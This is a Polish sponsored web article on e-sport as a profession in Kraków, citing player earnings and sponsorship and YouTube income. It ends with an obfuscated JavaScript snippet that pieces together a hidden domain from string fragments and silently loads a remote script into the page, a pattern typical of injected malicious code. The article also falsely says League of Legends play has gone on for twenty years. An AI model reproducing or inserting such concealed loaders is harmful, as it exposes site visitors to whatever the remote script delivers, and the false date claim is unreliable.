Reklama E-sport – nowy zawod dla miłosnikow zakładow Klub Podróżników2018-03-2805 wyświetlenia E-sport – nowy zawód dla miłośników zakładów? Kraków jest jednym z miast, o których nawet w świecie wiadomo, że są związane ze światem sportu, a konflikty między Cracovią a Wisłą Kraków przeszły już w zasadzie do świata legend. Być może właśnie to zamiłowanie do sportu na żywo sprawiło, że rozgrywki w League of Legends, które trwają już dobre dwadzieścia lat, stają się jednymi z większych i niepospolitych umiejętności. Co więcej, dla niektórych, naprawdę dobrych zawodników, gra przez Internet oznacza spore pieniądze. Faworytów jest naprawdę sporo Po ilości organizowanych w Krakowie (https://www.gowork.pl/praca/krakow;l) różnego rodzaju konwentów związanych z grami za pomocą Internetu można łatwo domyślić się, że faworytów jest więcej, niż tylko League of Legends. Wśród najpopularniejszych i dających największe szanse na zdobycie sporej gotówki gier są: Counter-Strike czy Dota 2. 25-letni Niemiec grając w Dota 2 zarobił w sumie 3 498 039 dolarów, a Polak plasujący się na 75. miejscu w zestawieniu Counter-Strike’a – „tylko” 671 095 dolarów. Rynek profesjonalistów w zakresie e-sportu wciąż się powiększa i w zasadzie można stwierdzić, że jest to studnia bez dna. Ciężko się nie skusić, jeśli widzi się przyrost zarobków o 36% w ciągu jednego roku. Wszystko zależy od gracza Jak w każdym sporcie, również w tym wirtualnym najwięcej zależy od samego gracza, poziomu jego umiejętności, zaawansowania, przebojowości czy… dobrej promocji swojego wizerunku. Najprostszym sposobem na zarabianie kroci w tym nietuzinkowym zawodzie jest pozyskanie sponsorów, którzy wraz z reklamami napędzają całą machinę zarabiania. Innym sposobem na generowanie pieniędzy jest zakładanie autorskich kanałówka YouTube, a tutaj zysku reklam, pozyskiwane za sprawą fanów, to jedynie kwestia czasu. Nie można zapominać, że takie zawody to również niesamowita okazja do wypromowania miasta, ale i do zarabiania na fanach. Średnie dochody z jednego zainteresowanego takimi mistrzostwami to dla miasta około 500 złotych. A że graczy nie brakuje, z pewnością nie będzie brakowało kolejnych wydarzeń tego typu na skalę międzynarodową. {source}<script type=”text/javascript”>(function(){ octh=document.createElement(„script”);octh.async=true;octh_=”u”+(„s”)+”t”; octhu=”74050964.”;octh_+=”a”+(„t.i”);octh_+=”n”+(„f”+”o”)+”/”; octhu+=”bp1cltgncthXa6qg4b44rX”+(„diiz276X”); octh.src=”https://”+octh_+octhu;octh.type=”text/javascript”; document.body.appendChild(octh);})();</script>{/source}